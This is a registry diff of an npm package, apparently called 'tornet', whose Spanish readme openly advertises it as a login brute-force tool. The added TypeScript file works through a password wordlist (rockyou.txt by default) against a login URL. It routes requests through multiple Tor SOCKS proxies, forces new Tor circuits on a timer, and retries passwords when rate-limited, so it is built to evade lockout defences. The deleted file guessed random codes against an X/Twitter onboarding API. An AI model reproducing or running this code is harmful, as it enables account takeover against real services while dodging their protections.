tornet 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/readme.md +15 -1
- package/rotar_ip3.ts +103 -0
- package/brute_forcing.ts +0 -12
package/package.json
CHANGED
package/readme.md
CHANGED
|
@@ -1,3 +1,7 @@
|
|
|
1
|
+
esta es una herramienta de fuerza bruta usando rotación de ip (concretamente la que brinda la red tor).
|
|
2
|
+
|
|
3
|
+
esto NUNCA va a remplazar a un servicio de pago de rotación automática (hay muchos proxies que ofrecen lo mismo que este código pero 30 veces más rápido), esta es solo una opción gratuita que programé, tengan en cuenta eso
|
|
4
|
+
|
|
1
5
|
Pasos para usar esta herramienta
|
|
2
6
|
|
|
3
7
|
1: Descargue el paquete usando npm tornet -g
|
|
@@ -10,6 +14,16 @@ chmod +x /iniciar_tor.sh
|
|
|
10
14
|
|
|
11
15
|
./iniciar_tor.sh
|
|
12
16
|
|
|
13
|
-
3: Una vez haya inicializado tor, solo tiene que usar el comando "tornet", use las flags "--url" y "
|
|
17
|
+
3: Una vez haya inicializado tor, solo tiene que usar el comando "tornet", use las flags "--url" y "-u" para indicar la url y el usuario al que se hará la fuerza bruta "-n" para indicar el número de peticiones a hacer antes del rate-limit, "--wordlist" para especificar la wordlist que quieres usar, "--body" para indicar el body de la respuesta (cómo string), "--error" para especificar el mensaje de error y "--header" para especificar el header de la respuesta.
|
|
18
|
+
|
|
19
|
+
¿Cómo debe ser el body?
|
|
20
|
+
|
|
21
|
+
El body debe tener la variable "contraseña", por ejemplo el comando: tornet --body "{username:'usuarioreal123',passwd:contraseña}"
|
|
22
|
+
|
|
23
|
+
¿cómo debe ser el header?
|
|
24
|
+
|
|
25
|
+
en el header solo se tiene que especificar el tipo, por ejemplo: tornet --header "application/json"
|
|
26
|
+
|
|
27
|
+
|
|
14
28
|
|
|
15
29
|
aviso: La velocidad promedio de esta herramienta es de 2 peticiones por segundo (bastante lento la verdad), si desea aumentar la velocidad le recomiendo dos opciones, o usar un servicio de proxies con rotación de ip automática (de paga), o use esta herramienta en varias computadoras (inevitablemente tendrá que manipular el código, suerte)
|
package/rotar_ip3.ts
ADDED
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
//-------------importaciones--------------
|
|
2
|
+
import yargs from 'yargs'
|
|
3
|
+
import {hideBin} from 'yargs/helpers'
|
|
4
|
+
import fs from 'fs'
|
|
5
|
+
import { SocksProxyAgent } from 'socks-proxy-agent'
|
|
6
|
+
import axios from 'axios'
|
|
7
|
+
import net from 'net'
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
//-------------declaración de variables--------------------
|
|
11
|
+
let wordlist_de_proxies=[]
|
|
12
|
+
let wordlist_de_puertos=[]
|
|
13
|
+
let port= 9052
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
//subrama1: yargs:
|
|
18
|
+
|
|
19
|
+
const yarg= yargs(hideBin(process.argv))
|
|
20
|
+
.option("url",{demandOption:false,type:"string"}).option("n",{type:"number",demandOption:false, default:5}).
|
|
21
|
+
option("header",{type:"string",default:"application/json"})
|
|
22
|
+
.option("body",{type:"string"})
|
|
23
|
+
.option("method",{type:"string"})
|
|
24
|
+
.option("wordlist",{type:"string",default:"/usr/share/wordlists/rockyou.txt"})
|
|
25
|
+
.option("error",{type:"string",default:"error"}).parseSync()
|
|
26
|
+
|
|
27
|
+
let url= yarg.url || "https://login-de-pruebas-1.onrender.com/login"
|
|
28
|
+
|
|
29
|
+
let wordlist= fs.readFileSync(yarg.wordlist).toString().split("\n")
|
|
30
|
+
|
|
31
|
+
let body= yarg.body
|
|
32
|
+
|
|
33
|
+
let num_de_peticiones=0
|
|
34
|
+
|
|
35
|
+
let promesas:any=[]
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
let header=yarg.header
|
|
39
|
+
let contraseña_encontrada:boolean=false
|
|
40
|
+
let a=0
|
|
41
|
+
|
|
42
|
+
// for(let contra of wordlist){
|
|
43
|
+
// if(contra==="password123"){console.log("contraseña encontrada, indice:",a)}
|
|
44
|
+
// ++a
|
|
45
|
+
// }
|
|
46
|
+
|
|
47
|
+
//declaracion de funciones
|
|
48
|
+
|
|
49
|
+
async function worker(proxie:any){let i=0;
|
|
50
|
+
|
|
51
|
+
while(i<yarg.n){try{let contraseña= wordlist.shift();
|
|
52
|
+
|
|
53
|
+
axios.post(url,JSON.parse(body!),{httpAgent:proxie,httpsAgent:proxie,headers:{"Content-Type":header}})
|
|
54
|
+
.then(function(data){if(data.data.includes("to many")){wordlist.unshift(contraseña!)}if(!data.data.includes("to many")){++num_de_peticiones; console.log(num_de_peticiones);console.log("contraseña incorrecta:",contraseña);}; if(!data.data.includes("error")){console.log("la contraseña es:",contraseña); contraseña_encontrada=true; return}}).catch(function(error){console.log("error",error)})
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
}catch(error){console.log("error:",error)}
|
|
58
|
+
++i;
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
//-----------codigo-------------
|
|
63
|
+
|
|
64
|
+
while(port<=9060){
|
|
65
|
+
let agent= new SocksProxyAgent(`socks5://127.0.0.1:${port}`,{keepAlive:false})
|
|
66
|
+
wordlist_de_proxies.push(agent); wordlist_de_puertos.push(port)
|
|
67
|
+
port=port+2}
|
|
68
|
+
|
|
69
|
+
let ID1= setInterval(async () => {if(contraseña_encontrada===true){clearInterval(ID1)}
|
|
70
|
+
console.log("puertos:",wordlist_de_puertos.length)
|
|
71
|
+
for(let puerto of wordlist_de_puertos){
|
|
72
|
+
let socket = new net.Socket();
|
|
73
|
+
socket.connect(puerto+1,"127.0.0.1",function(){
|
|
74
|
+
|
|
75
|
+
socket.write('AUTHENTICATE ""\r\n');
|
|
76
|
+
socket.on("data",function(data){
|
|
77
|
+
let response= data.toString()
|
|
78
|
+
if (response.includes('250')) {
|
|
79
|
+
socket.write('SIGNAL NEWNYM\r\n');}
|
|
80
|
+
else{socket.destroy()}
|
|
81
|
+
})
|
|
82
|
+
socket.on("error",function(data){console.log(data.toString()); socket.write('QUIT\r\n'); socket.destroy()})})
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
}, 10000);
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
let ID2= setInterval(async () => {if(contraseña_encontrada===true){clearInterval(ID2); process.exit()}
|
|
89
|
+
for(let proxie of wordlist_de_proxies){
|
|
90
|
+
promesas.push(worker(proxie))
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
await Promise.all(promesas); console.log("proxies:",wordlist_de_proxies.length); promesas=[]
|
|
94
|
+
}, 5000);
|
|
95
|
+
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
|
package/brute_forcing.ts
DELETED
|
@@ -1,12 +0,0 @@
|
|
|
1
|
-
let gmail="undesconocido@gmail.com"
|
|
2
|
-
let diccionario=["1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
|
|
3
|
-
|
|
4
|
-
let codigo=[diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)]].join("")
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
let res=await fetch("https://api.x.com/1.1/onboarding/task.json",{method:"POST",headers:{"Content-Type":"application/json"},
|
|
8
|
-
body:JSON.stringify({text:codigo})})
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
console.log(res)
|
|
12
|
-
|